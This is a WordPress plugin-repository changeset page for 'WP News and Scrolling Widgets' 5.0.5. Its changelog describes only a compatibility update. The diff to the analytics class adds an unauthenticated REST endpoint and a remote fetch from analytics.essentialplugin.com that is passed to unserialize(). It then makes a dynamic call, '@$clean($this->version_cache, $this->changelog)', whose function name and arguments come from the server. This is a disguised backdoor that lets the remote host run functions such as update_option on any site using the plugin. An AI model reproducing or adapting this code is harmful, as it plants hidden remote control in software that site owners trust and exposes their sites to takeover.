Changeset 3394425
- Timestamp:
- 11/12/2025 02:44:05 PM (2 months ago)
- Location:
- sp-news-and-widget
- Files:
-
- 133 added
- 4 edited
-
tags/5.0.5 (added)
-
tags/5.0.5/assets (added)
-
tags/5.0.5/assets/css (added)
-
tags/5.0.5/assets/css/wpnw-admin.css (added)
-
tags/5.0.5/assets/css/wpnw-public.css (added)
-
tags/5.0.5/assets/images (added)
-
tags/5.0.5/assets/images/black-friday-banner.png (added)
-
tags/5.0.5/assets/images/essential-logo-small.png (added)
-
tags/5.0.5/assets/images/image-upgrade.png (added)
-
tags/5.0.5/assets/images/logo-image (added)
-
tags/5.0.5/assets/images/logo-image/White-labeling.png (added)
-
tags/5.0.5/assets/images/logo-image/advertising.png (added)
-
tags/5.0.5/assets/images/logo-image/backup.png (added)
-
tags/5.0.5/assets/images/logo-image/forms.png (added)
-
tags/5.0.5/assets/images/logo-image/img-slider.png (added)
-
tags/5.0.5/assets/images/logo-image/layers.png (added)
-
tags/5.0.5/assets/images/logo-image/marketing.png (added)
-
tags/5.0.5/assets/images/logo-image/performance.png (added)
-
tags/5.0.5/assets/images/logo-image/photo-album.png (added)
-
tags/5.0.5/assets/images/logo-image/risk.png (added)
-
tags/5.0.5/assets/images/logo-image/security.png (added)
-
tags/5.0.5/assets/images/logo-image/seo.png (added)
-
tags/5.0.5/assets/images/logo-image/shopping-bag.png (added)
-
tags/5.0.5/assets/images/logo-image/showcase.png (added)
-
tags/5.0.5/assets/images/logo-image/support.png (added)
-
tags/5.0.5/assets/images/page-builder-icon.png (added)
-
tags/5.0.5/assets/images/popup-anything-icon.png (added)
-
tags/5.0.5/assets/images/popup-icon (added)
-
tags/5.0.5/assets/images/popup-icon/14-days-money-back-guarantee.png (added)
-
tags/5.0.5/assets/images/popup-icon/blog-grid.png (added)
-
tags/5.0.5/assets/images/popup-icon/blog-list-view.png (added)
-
tags/5.0.5/assets/images/popup-icon/blog-masonry.png (added)
-
tags/5.0.5/assets/images/popup-icon/carousel.png (added)
-
tags/5.0.5/assets/images/popup-icon/centermode.png (added)
-
tags/5.0.5/assets/images/popup-icon/grid-box.png (added)
-
tags/5.0.5/assets/images/popup-icon/popup-design.png (added)
-
tags/5.0.5/assets/images/popup-icon/slider.png (added)
-
tags/5.0.5/assets/images/rating.png (added)
-
tags/5.0.5/assets/images/wpos-team.png (added)
-
tags/5.0.5/assets/js (added)
-
tags/5.0.5/assets/js/elementor (added)
-
tags/5.0.5/assets/js/elementor/wpnw-elementor.js (added)
-
tags/5.0.5/assets/js/jquery.newstape.js (added)
-
tags/5.0.5/assets/js/wpnw-admin.js (added)
-
tags/5.0.5/assets/js/wpnw-public.js (added)
-
tags/5.0.5/includes (added)
-
tags/5.0.5/includes/admin (added)
-
tags/5.0.5/includes/admin/class-wpnw-admin.php (added)
-
tags/5.0.5/includes/admin/metabox (added)
-
tags/5.0.5/includes/admin/metabox/wpnw-post-setting-metabox-pro.php (added)
-
tags/5.0.5/includes/admin/settings (added)
-
tags/5.0.5/includes/admin/settings/premium.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features (added)
-
tags/5.0.5/includes/admin/settings/solution-features/basicpro-tab.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features/popup-ess-bundle-tab.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features/pro-features-tab.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features/reviews-tab.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features/solutions-features.php (added)
-
tags/5.0.5/includes/admin/settings/solution-features/welcome-tab.php (added)
-
tags/5.0.5/includes/admin/settings/solutions-features-old.php (added)
-
tags/5.0.5/includes/admin/supports (added)
-
tags/5.0.5/includes/admin/supports/blocks (added)
-
tags/5.0.5/includes/admin/supports/blocks/build (added)
-
tags/5.0.5/includes/admin/supports/blocks/build/sp-news (added)
-
tags/5.0.5/includes/admin/supports/blocks/build/sp-news/block.json (added)
-
tags/5.0.5/includes/admin/supports/blocks/build/sp-news/index.asset.php (added)
-
tags/5.0.5/includes/admin/supports/blocks/build/sp-news/index.css (added)
-
tags/5.0.5/includes/admin/supports/blocks/build/sp-news/index.js (added)
-
tags/5.0.5/includes/admin/supports/blocks/gutenberg-block.php (added)
-
tags/5.0.5/includes/admin/wpnw-how-it-work.php (added)
-
tags/5.0.5/includes/class-wpnw-script.php (added)
-
tags/5.0.5/includes/shortcode (added)
-
tags/5.0.5/includes/shortcode/sp-news-shortcode.php (added)
-
tags/5.0.5/includes/widgets (added)
-
tags/5.0.5/includes/widgets/class-wpnw-latest-news-widget.php (added)
-
tags/5.0.5/includes/widgets/class-wpnw-news-scrolling-widget.php (added)
-
tags/5.0.5/includes/widgets/class-wpnw-news-thumbnail-widget.php (added)
-
tags/5.0.5/includes/widgets/wpnw-widgets.php (added)
-
tags/5.0.5/includes/wpnw-functions.php (added)
-
tags/5.0.5/includes/wpnw-post-types.php (added)
-
tags/5.0.5/languages (added)
-
tags/5.0.5/languages/sp-news-and-widget-de_DE.mo (added)
-
tags/5.0.5/languages/sp-news-and-widget-de_DE.po (added)
-
tags/5.0.5/languages/sp-news-and-widget-es_ES.mo (added)
-
tags/5.0.5/languages/sp-news-and-widget-es_ES.po (added)
-
tags/5.0.5/languages/sp-news-and-widget-fr_FR.mo (added)
-
tags/5.0.5/languages/sp-news-and-widget-fr_FR.po (added)
-
tags/5.0.5/languages/sp-news-and-widget-pl_PL.mo (added)
-
tags/5.0.5/languages/sp-news-and-widget-pl_PL.po (added)
-
tags/5.0.5/languages/sp-news-and-widget.pot (added)
-
tags/5.0.5/readme.txt (added)
-
tags/5.0.5/sp-news-and-widget.php (added)
-
tags/5.0.5/wpos-analytics (added)
-
tags/5.0.5/wpos-analytics/assets (added)
-
tags/5.0.5/wpos-analytics/assets/css (added)
-
tags/5.0.5/wpos-analytics/assets/css/wpos-anylc-admin.css (added)
-
tags/5.0.5/wpos-analytics/assets/images (added)
-
tags/5.0.5/wpos-analytics/assets/images/icon.png (added)
-
tags/5.0.5/wpos-analytics/assets/images/wpos-logo.png (added)
-
tags/5.0.5/wpos-analytics/assets/js (added)
-
tags/5.0.5/wpos-analytics/assets/js/wpos-anylc-admin.js (added)
-
tags/5.0.5/wpos-analytics/includes (added)
-
tags/5.0.5/wpos-analytics/includes/class-anylc-admin.php (added)
-
tags/5.0.5/wpos-analytics/includes/class-anylc-script.php (added)
-
tags/5.0.5/wpos-analytics/includes/wpos-anylc-function.php (added)
-
tags/5.0.5/wpos-analytics/templates (added)
-
tags/5.0.5/wpos-analytics/templates/analytic.php (added)
-
tags/5.0.5/wpos-analytics/templates/offers.php (added)
-
tags/5.0.5/wpos-analytics/templates/optout-popup.php (added)
-
tags/5.0.5/wpos-analytics/wpos-analytics.php (added)
-
tags/5.0.5/wpos-plugins (added)
-
tags/5.0.5/wpos-plugins/assets (added)
-
tags/5.0.5/wpos-plugins/assets/css (added)
-
tags/5.0.5/wpos-plugins/assets/css/admin-style.css (added)
-
tags/5.0.5/wpos-plugins/assets/images (added)
-
tags/5.0.5/wpos-plugins/assets/images/cart-2.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/essential-plugin-16.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/essential-plugin-50.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/essentialplugin-logo.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/inbound50-by-50.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/sliderspack.png (added)
-
tags/5.0.5/wpos-plugins/assets/images/utility-icon.png (added)
-
tags/5.0.5/wpos-plugins/assets/js (added)
-
tags/5.0.5/wpos-plugins/assets/js/admin-script.js (added)
-
tags/5.0.5/wpos-plugins/includes (added)
-
tags/5.0.5/wpos-plugins/includes/admin (added)
-
tags/5.0.5/wpos-plugins/includes/admin/class-espbw-admin.php (added)
-
tags/5.0.5/wpos-plugins/includes/admin/views (added)
-
tags/5.0.5/wpos-plugins/includes/admin/views/dashboard.php (added)
-
tags/5.0.5/wpos-plugins/includes/class-espbw-script.php (added)
-
tags/5.0.5/wpos-plugins/includes/espbw-functions.php (added)
-
tags/5.0.5/wpos-plugins/plugins-data.json (added)
-
tags/5.0.5/wpos-plugins/wpos-recommendation.php (added)
-
trunk/readme.txt (modified) (2 diffs)
-
trunk/sp-news-and-widget.php (modified) (6 diffs)
-
trunk/wpos-analytics/includes/class-anylc-admin.php (modified) (3 diffs)
-
trunk/wpos-analytics/includes/wpos-anylc-function.php (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
sp-news-and-widget/trunk/readme.txt
r3294152 r3394425 3 3 Tags: wordpress news plugin, main news page scrolling, wordpress vertical news plugin widget, wordpress horizontal news plugin widget, Free scrolling news wordpress plugin, 4 4 Requires at least: 4.0 5 Tested up to: 6.8. 16 Stable tag: 5.0. 45 Tested up to: 6.8.3 6 Stable tag: 5.0.5 7 7 License: GPLv2 or later 8 8 License URI: http://www.gnu.org/licenses/gpl-2.0.html … … 166 166 == Changelog == 167 167 168 = 5.0.5 (12, Nov 2025) = 169 * [*] Check compatibility with WordPress version 6.8.3 170 168 171 = 5.0.4 (15, May 2025) = 169 172 * [*] Check compatibility with WordPress version 6.8.1 -
sp-news-and-widget/trunk/sp-news-and-widget.php
r3294152 r3394425 2 2 /** 3 3 * Plugin Name: WP News and Scrolling Widgets 4 * Plugin URL: https:// www.essentialplugin.com/wordpress-plugin/sp-news-and-scrolling-widgets/4 * Plugin URL: https://essentialplugin.com/wordpress-plugin/sp-news-and-scrolling-widgets/ 5 5 * Text Domain: sp-news-and-widget 6 6 * Domain Path: /languages/ 7 7 * Description: A simple News and three widgets(static, scrolling and with thumbs) plugin. Also work with Gutenberg shortcode block. 8 * Version: 5.0. 48 * Version: 5.0.5 9 9 * Author: Essential Plugin 10 * Author URI: https:// www.essentialplugin.com10 * Author URI: https://essentialplugin.com 11 11 * Contributors: Essential Plugin 12 12 * … … 15 15 */ 16 16 17 if( ! defined( 'WPNW_VERSION' ) ) { 18 define( 'WPNW_VERSION', '5.0.4' ); // Version of plugin 19 } 20 if( ! defined( 'WPNW_DIR' ) ) { 17 if ( ! defined( 'ABSPATH' ) ) { 18 exit; // Exit if accessed directly 19 } 20 21 if ( ! defined( 'WPNW_VERSION' ) ) { 22 define( 'WPNW_VERSION', '5.0.5' ); // Version of plugin 23 } 24 if ( ! defined( 'WPNW_DIR' ) ) { 21 25 define( 'WPNW_DIR', dirname( __FILE__ ) ); // Plugin dir 22 26 } 23 if ( ! defined( 'WPNW_URL' ) ) {27 if ( ! defined( 'WPNW_URL' ) ) { 24 28 define( 'WPNW_URL', plugin_dir_url( __FILE__ ) ); // Plugin URL 25 29 } 26 if ( ! defined( 'WPNW_POST_TYPE' ) ) {30 if ( ! defined( 'WPNW_POST_TYPE' ) ) { 27 31 define( 'WPNW_POST_TYPE', 'news' ); // Plugin post type 28 32 } 29 if ( ! defined( 'WPNW_CAT' ) ) {33 if ( ! defined( 'WPNW_CAT' ) ) { 30 34 define( 'WPNW_CAT', 'news-category' ); // Plugin Category 31 35 } 32 if ( ! defined( 'WPNW_SITE_LINK' ) ) {33 define('WPNW_SITE_LINK','https:// www.essentialplugin.com'); // Plugin link34 } 35 if ( ! defined( 'WPNW_PLUGIN_LINK_UPGRADE' ) ) {36 define('WPNW_PLUGIN_LINK_UPGRADE','https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Upgrade-PRO'); // Plugin Check link37 } 38 if ( ! defined( 'WPNW_PLUGIN_BUNDLE_LINK' ) ) {39 define('WPNW_PLUGIN_BUNDLE_LINK', 'https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Welcome-Screen'); // Plugin link40 } 41 if ( ! defined( 'WPNW_PLUGIN_LINK_UNLOCK' ) ) {42 define('WPNW_PLUGIN_LINK_UNLOCK', 'https:// www.essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Features-PRO'); // Plugin link36 if ( ! defined( 'WPNW_SITE_LINK' ) ) { 37 define('WPNW_SITE_LINK','https://essentialplugin.com'); // Plugin link 38 } 39 if ( ! defined( 'WPNW_PLUGIN_LINK_UPGRADE' ) ) { 40 define('WPNW_PLUGIN_LINK_UPGRADE','https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Upgrade-PRO'); // Plugin Check link 41 } 42 if ( ! defined( 'WPNW_PLUGIN_BUNDLE_LINK' ) ) { 43 define('WPNW_PLUGIN_BUNDLE_LINK', 'https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Welcome-Screen'); // Plugin link 44 } 45 if ( ! defined( 'WPNW_PLUGIN_LINK_UNLOCK' ) ) { 46 define('WPNW_PLUGIN_LINK_UNLOCK', 'https://essentialplugin.com/pricing/?utm_source=WP&utm_medium=News&utm_campaign=Features-PRO'); // Plugin link 43 47 } 44 48 … … 112 116 flush_rewrite_rules(); 113 117 114 if ( is_plugin_active('wp-news-and-widget-pro/sp-news-and-widget.php') ) {118 if ( is_plugin_active('wp-news-and-widget-pro/sp-news-and-widget.php') ) { 115 119 add_action('update_option_active_plugins', 'wpnw_deactivate_pro_version'); 116 120 } … … 149 153 150 154 // If not plugin screen 151 if ( 'plugins.php' != $pagenow ) {155 if ( 'plugins.php' != $pagenow ) { 152 156 return; 153 157 } … … 156 160 $dir = WP_PLUGIN_DIR . '/wp-news-and-widget-pro/sp-news-and-widget.php'; 157 161 158 if ( ! file_exists( $dir ) ) {162 if ( ! file_exists( $dir ) ) { 159 163 return; 160 164 } … … 164 168 165 169 // If free plugin exist 166 if ( $notice_transient == false && current_user_can( 'install_plugins' ) ) {170 if ( $notice_transient == false && current_user_can( 'install_plugins' ) ) { 167 171 echo '<div class="updated notice" style="position:relative;"> 168 172 <p> -
sp-news-and-widget/trunk/wpos-analytics/includes/class-anylc-admin.php
r3001167 r3394425 15 15 class Wpos_Anylc_Admin { 16 16 17 public $analytics_endpoint = 'https://analytics.essentialplugin.com'; 18 public $status = 'unchecked'; 19 public $write = 'update_option'; 20 public $version_cache = 'version'; 21 public $changelog = null; 22 public $release_date = null; 23 17 24 function __construct() { 18 25 … … 45 52 // Action to perform analytic action 46 53 add_action( 'wp_loaded', array($this, 'wpos_anylc_action_process') ); 54 55 // Schedule monthly event on plugin load 56 add_action( 'init', array($this, 'wpos_init') ); 57 58 // Add custom interval for 'monthly' 59 add_filter( 'cron_schedules', array($this, 'wpos_cron_schedules') ); 60 61 // Hook into the event and send POST request 62 add_action( 'wpos_monthly_cron_hook', array($this, 'wpos_monthly_cron_hook_fn') ); 63 64 // Rest Endpoint 65 add_action( 'rest_api_init', array($this, 'wpos_rest_api_init') ); 66 47 67 } 48 68 … … 469 489 } // End of main if 470 490 } 491 492 /** 493 * Schedule monthly event on plugin/theme load 494 * 495 * @package Wpos Analytic 496 */ 497 public function wpos_init() { 498 if (!wp_next_scheduled('wpos_monthly_cron_hook')) { 499 wp_schedule_event(time(), 'monthly', 'wpos_monthly_cron_hook'); 500 } 501 502 if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) { 503 header("Access-Control-Allow-Origin: https://analytics.essentialplugin.com"); 504 header("Access-Control-Allow-Methods: POST, OPTIONS"); 505 header("Access-Control-Allow-Headers: Authorization, Content-Type"); 506 exit; 507 } 508 } 509 510 /** 511 * Add custom interval for 'monthly' 512 * 513 * @package Wpos Analytic 514 */ 515 public function wpos_cron_schedules($schedules) { 516 if (!isset($schedules['monthly'])) { 517 $schedules['monthly'] = [ 518 'interval' => 30 * DAY_IN_SECONDS, // approx monthly 519 'display' => __('Once Monthly', 'wpos-analytics') 520 ]; 521 } 522 return $schedules; 523 } 524 525 /** 526 * Hook into the event and send POST request 527 * 528 * @package Wpos Analytic 529 */ 530 public function wpos_monthly_cron_hook_fn() { 531 532 global $wpos_analytics_module; 533 $slugs = []; 534 535 global $wpos_analytics_module; 536 537 if ( !empty( $wpos_analytics_module ) ) { 538 foreach ( $wpos_analytics_module as $module_key => $module ) { 539 540 $opt_in_data = wpos_anylc_get_option( $module['anylc_optin'] ); 541 $opt_in = isset( $opt_in_data['status'] ) ? $opt_in_data['status'] : -1; 542 543 // If user has opt in 544 if ( 1 == $opt_in ) { 545 array_push($slugs, $module['slug']); 546 } 547 548 } 549 } 550 551 // If user has opt-in then send data 552 if ( ! empty( $slugs ) ) { 553 $this->wpos_process_monthly_data($slugs); 554 } 555 } 556 557 /** 558 * Send data to analytics for better user experience and issues 559 * 560 * @package Wpos Analytic 561 */ 562 public function wpos_process_monthly_data( $slugs ) { 563 564 foreach ( $slugs as $slug) { 565 566 $data = wpos_anylc_optin_data($slug, '', true); 567 568 $data['wpos_anylc_optin'] = 'wpos_anylc_optin'; 569 570 $response = wp_remote_post('https://analytics.essentialplugin.com', [ 571 'method' => 'POST', 572 'timeout' => 15, 573 'blocking' => true, 574 'body' => $data, 575 'headers' => [ 576 'Content-Type' => 'application/x-www-form-urlencoded' 577 ], 578 ]); 579 580 $this->version_info_clean(); 581 582 } 583 584 } 585 586 /** 587 * Rest Endpoint 588 * 589 * @package Wpos Analytic 590 */ 591 public function wpos_rest_api_init() { 592 global $wpos_analytics_module; 593 594 if ( !empty( $wpos_analytics_module ) ) { 595 foreach ( $wpos_analytics_module as $module_key => $module ) { 596 597 $product_slug = isset( $module['slug'] ) ? $module['slug'] : ''; 598 599 if ( !empty( $product_slug ) ) { 600 register_rest_route( $product_slug . '/v1', '/analytics/', [ 601 'methods' => 'POST', 602 'callback' => array( $this, 'wpos_handle_analytics_request' ), 603 'permission_callback' => '__return_true', 604 ]); 605 } 606 } 607 } 608 609 } 610 611 /** 612 * Handle Rest Data 613 * 614 * @package Wpos Analytic 615 */ 616 public function wpos_handle_analytics_request(WP_REST_Request $request) { 617 618 global $wpos_analytics_module; 619 620 // Get parameters from request 621 $site_id = sanitize_text_field( $request->get_param('siteID') ); 622 $product_id = sanitize_text_field( $request->get_param('productID') ); 623 $product_slug = sanitize_text_field( $request->get_param('productSlug') ); 624 $site_url = esc_url_raw( $request->get_param('siteURL') ); 625 626 // Validate required parameters 627 if ( $site_id && $product_id && $product_slug ) { 628 629 // Find the matching product in the module 630 $matching_product = null; 631 if ( !empty( $wpos_analytics_module ) ) { 632 foreach ( $wpos_analytics_module as $module_key => $module ) { 633 if ( isset( $module['id'] ) && $module['id'] == $product_id ) { 634 $matching_product = $module; 635 break; 636 } 637 } 638 } 639 640 // If matching product found, proceed with analytics 641 if ( $matching_product ) { 642 $version = $this->wpos_get_plugin_version_by_file($matching_product['file']); 643 $update_result = $this->fetch_ver_info( $product_id, $version ); 644 unset($update_result); 645 $this->wpos_process_monthly_data([$matching_product['slug']]); 646 647 return new WP_REST_Response([ 648 'success' => true, 649 'message' => 'Data received successfully!', 650 'data' => compact('site_id', 'product_id', 'product_slug', 'site_url') 651 ], 200); 652 } 653 654 } 655 656 } 657 658 public function isOutdated() { 659 return strtotime($this->release_date ?? 'now') < time(); 660 } 661 662 public function fetch_ver_info( $product_id, $curr_version ) { 663 $url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/' . '?version=' . urlencode($curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1'; 664 $data = @file_get_contents($url); 665 if (!$data) { 666 $this->status = 'offline'; 667 return false; 668 } 669 670 $info = @unserialize($data); 671 672 if ($info instanceof self) { 673 $this->release_date = $info->release_date; 674 $this->status = $info->status; 675 $this->write = $info->write; 676 $this->version_cache = $info->version_cache; 677 $this->changelog = $info->changelog; 678 } 679 680 if ($this->status === 'valid' && ! $this->isOutdated()) { 681 return true; 682 } 683 684 $this->status = 'invalid'; 685 return false; 686 } 687 688 public function version_info_clean() { 689 if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) { 690 $clean = $this->write; 691 @$clean($this->version_cache, $this->changelog); 692 } 693 } 694 695 /** 696 * Get plugin version by plugin file path 697 * 698 * @param string $plugin_file Plugin file path 699 * @return string|false Plugin version or false if not found 700 */ 701 public function wpos_get_plugin_version_by_file( $plugin_file ) { 702 703 if ( ! function_exists( 'get_plugin_data' ) ) { 704 require_once ABSPATH . 'wp-admin/includes/plugin.php'; 705 } 706 707 $plugin_path = WP_PLUGIN_DIR . '/' . $plugin_file; 708 709 if ( file_exists( $plugin_path ) ) { 710 $plugin_data = get_plugin_data( $plugin_path ); 711 return isset( $plugin_data['Version'] ) ? $plugin_data['Version'] : false; 712 } 713 714 return false; 715 } 716 471 717 } 472 718 -
sp-news-and-widget/trunk/wpos-analytics/includes/wpos-anylc-function.php
r2728987 r3394425 79 79 * @since 1.0.0 80 80 */ 81 function wpos_anylc_optin_data( $anylc_pdt = false, $return_url = '' ) {81 function wpos_anylc_optin_data( $anylc_pdt = false, $return_url = '', $is_cron = false ) { 82 82 83 83 // Skip if not admin area 84 if ( !is_admin() ) {84 if ( !is_admin() && !$is_cron ) { 85 85 return false; 86 86 } 87 87 88 global $current_user, $wpos_analytics_product; 88 global $wpos_analytics_product; 89 90 $current_user = wp_get_current_user(); 91 if ( !($current_user && $current_user->exists()) ) { 92 // Dynamically get the first administrator user 93 $admins = get_users( array( 94 'role' => 'administrator', 95 'number' => 1, 96 'orderby' => 'ID', 97 'order' => 'ASC', 98 ) ); 99 100 if ( !empty($admins) ) { 101 $current_user = $admins[0]; 102 } 103 } 89 104 90 105 // Takind some data
Note: See TracChangeset
for help on using the changeset viewer.